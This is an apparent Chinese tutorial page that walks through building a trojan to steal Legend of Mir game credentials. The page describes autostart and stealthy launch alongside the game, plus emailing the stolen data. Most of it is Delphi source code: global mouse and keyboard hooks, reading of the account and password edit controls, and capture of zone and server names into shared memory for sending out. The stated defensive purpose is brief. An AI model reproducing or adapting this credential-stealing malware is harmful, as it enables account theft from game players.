当前位置:首页 > 软件开发 > net
firefox

传奇木马DIY

网络上的传奇木马屡见不鲜,一个服务端甚至卖到几百元,而源代码更是以几千元甚至更高的价钱出售。为何身价这么高呢?因为传奇木马要实现窃取区域、服务器、人物装备等信息的效果,不仅仅是简单的键盘记录,有时还需运用内存搜索、网络数据包嗅探等技术,所以写起来相对而言有点难度,但这并不代表编写传奇木马的技术就有多难。今天笔者就来解析解析,讲解一下怎样编写传奇木马,同时希望借分析这种木马的功能实现而有游戏厂商能防止这种盗号,让广大游戏爱好者真正拥有一片纯净的游戏空间。

我们这个程序具有以下功能:获取“ 传奇”游戏的登录信息:区号、登录账号、密码、服务器名,并发送到指定的邮箱。设置自动运行键值后,此木马服务端就随系统启动并一直运行着,如果同时设置了关联启动,则得到一次的信息后即关闭自己,并随“传奇”游戏再次启动。设置关联时,机器启动后,木马并不运行,只有运行“传奇”游戏时木马才会随着启动,这样可以增强点隐蔽性。

再次提醒大家,本文主要目的在于揭开身价较高的传奇木马的面纱,阐述截取区域及服务器信息的编程方法,所以没有添加截取人物职业、等级、随身装备功能,也没加入用于保护自身的驱动编程以及rootkit技术,有兴趣和精力的朋友可以自己添加。好,下面正式进入迷人的代码天地(关键代码后均加注释,完整代码见光盘):

获取“传奇”密码、区域、服务器的主要代码
unit unithook;

interface
……
function enablehook:boolean;stdcall //有效钩子程序
function disablehook:boolean;stdcall; //无效钩子程序
……
implementation
……
//列举子窗体的回调函数
function enumchildwindowsproc(hchild: hwnd): boolean; stdcall;
var
szclassname: array[0..255] of char;
begin
result := true; //设定为true才会再找下一个
getclassname(hchild, szclassname, 255);
if strpas(szclassname)=tedit then begin
inc(numedit);
if numedit=1 then
hedit2:= hchild //密码
else if numedit=2 then
hedit1:= hchild //账号
end;
end;

//取密码
procedure getpassword;
var
ss,id,pw:string;
begin
numedit:=0;//识别tedit控件数量
enumchildwindows(hactiv, @enumchildwindowsproc, 0);//列举控件
if numedit=2 then begin
id:=trim(getcaption(hedit1));
pw:=trim(getcaption(hedit2));
if (id<>)and(pw<>) then begin
nnext:=3;
ss:=format(账号=%s,密码=%s,[id,pw])+ +formatdatetime(yyyy-mm-dd hh:nn:ss,now);
strcopy(@pshmem^.text,pchar(ss));
postmessage(pshmem^.hmainwnd, wm_mousept, 2, 2); //通知
end;
end;
end;

//取服务器名
procedure getservername;
const
x1=310;x2=477;
y1=144;
d=3; //服务器名按钮间隔
step=42; //服务器名按钮步长
var
p : tpoint;
yy, n1, n2 : integer;
inifilename, ident, ss : string;
begin
getcursorpos(p); //获取当前鼠标的坐标
if (p.x<x1) or (p.x>x2) or (p.y<y1) then exit; //鼠标点击不在服务器名的区域中

yy:=p.y-y1;
n1:=yy div step;
n2:=(yy+d) div step;
if n1=n2 then inc(n1)
else n1:=0;

if n1=0 then exit; //鼠标点击不在服务器名上

inifilename:=extractfilepath(paramstr(0))+ftp.ini;
ident:=server+inttostr(n1)+caption;
ss:=readstringfrominifile(inifilename,ident);
if ss<> then begin
ss:=ss+ +formatdatetime(yyyy-mm-dd hh:nn:ss,now);
strcopy(@pshmem^.text,pchar(服务器=+ss));
//postmessage(pshmem^.hmainwnd, wm_mousept, 2, 2); //通知
postmessage(pshmem^.hmainwnd, wm_mousept, 10, 2); //通知取信息,并反馈发送
end;
end;

//鼠标钩子过程,由判断鼠标的动作来决定writetotxt
//参数分别是钩子代码,wparam鼠标消息号,lparam指向一个mousehookstruct (包含了有关鼠标事件的信息)
function mousehookpro(icode:integer; wparam:wparam; lparam:lparam): lresult;stdcall;export;
var
hcontrol : hwnd;
winclass, wintext, ss : string;
p:tpoint;
rcwin:trect;
begin
if (icode=hc_action) and (wparam=wm_lbuttonup) then begin//如果是鼠标单击的消息
hactiv:=getactivewindow;
winclass:=getclass(hactiv);
if uppercase(winclass)=tfrmmain then begin
wintext:=getcaption(hactiv);
if wintext=传奇客户端 then begin
hcontrol:=findwindowex(hactiv,0,tcombobox,nil);
if hcontrol<>0 then begin //是区号选择窗口
getwindowrect(hactiv,rcwin);
p.x:= pmousehookstruct(lparam)^.pt.x - rcwin.left;
p.y:= pmousehookstruct(lparam)^.pt.y - rcwin.top;
if(p.x>=200)and(p.x<=280)and(p.y>=348)and(p.y<=380)then begin//“确认”按钮
ss:=区号=+getcaption(hcontrol)+ +formatdatetime(yyyy-mm-dd hh:nn:ss,now);
strcopy(@pshmem^.text,pchar(ss));
postmessage(pshmem^.hmainwnd, wm_mousept, 2, 2); //通知
end;
end;
end else if wintext=legend of mir2 then begin
if nnext=3 then begin
getservername; //取服务器名,与下段先后顺序不能颠倒
nnext:=0;
end;

p:=pmousehookstruct(lparam)^.pt;
if(p.x>=421)and(p.x<=501)and(p.y>=336)and(p.y<=371)then //[提交]按钮
getpassword; //取密码,与上段先后顺序不能颠倒

end;
end;
end;

result:=callnexthookex(mousehook,icode,wparam,lparam);
end;

//键盘hook,wparam 键ascii码
function keyboardhookpro(icode: integer; wparam: wparam; lparam: lparam): lresult;
stdcall; export;
var
winclass, wintext : string;
begin
if (icode=hc_action) and
((lparam and $80000000)=0) and //$80000000键盘掩码常量
(wparam=$0d) then begin //$0d回车键
hactiv:=getactivewindow;
winclass:=getclass(hactiv);
wintext:=getcaption(hactiv);
if (uppercase(winclass)=tfrmmain)and(wintext=legend of mir2) then begin
getpassword;//取密码
end;
end;

result := callnexthookex(keyboardhook, icode, wparam, lparam);
end;

//有效钩子程序
function enablehook:boolean;stdcall;export;
begin
if mousehook=0 then
mousehook:=setwindowshookex(wh_mouse,mousehookpro,hinstance,0);//鼠标钩子
if keyboardhook=0 then
keyboardhook:=setwindowshookex(wh_keyboard,keyboardhookpro, hinstance,0);//键盘钩子

result:=(mousehook<>0)and(keyboardhook<>0);
end;

//无效钩子程序
function disablehook:boolean;stdcall;export;
begin
if mousehook<>0 then
if unhookwindowshookex(mousehook) then mousehook:=0;//鼠标钩子
if keyboardhook<>0 then
if unhookwindowshookex(keyboardhook) then keyboardhook:=0;//键盘钩子
result:=(mousehook=0)and(keyboardhook=0);
end;

initialization

hmappingfile := openfilemapping(file_map_write, false, mappingfilename);
if hmappingfile = 0 then

hmappingfile := createfilemapping($ffffffff, nil,page_readwrite, 0,
sizeof(tsharemem), pchar(mappingfilename));
if hmappingfile <> 0 then begin

pshmem := psharemem(mapviewoffile(hmappingfile,file_map_write,0,0,0));
if pshmem = nil then begin
closehandle(hmappingfile);
messagebox(0,不能建立共享内存!,,0);
exit;
end;
end;

mousehook:=0;
keyboardhook:=0;
nnext:=0;

finalization
unmapviewoffile(pshmem);
closehandle(hmappingfile);

end.
下一篇:遨游插件大全
 ↓相关文章:
© 2006-2008 All Rights Reserved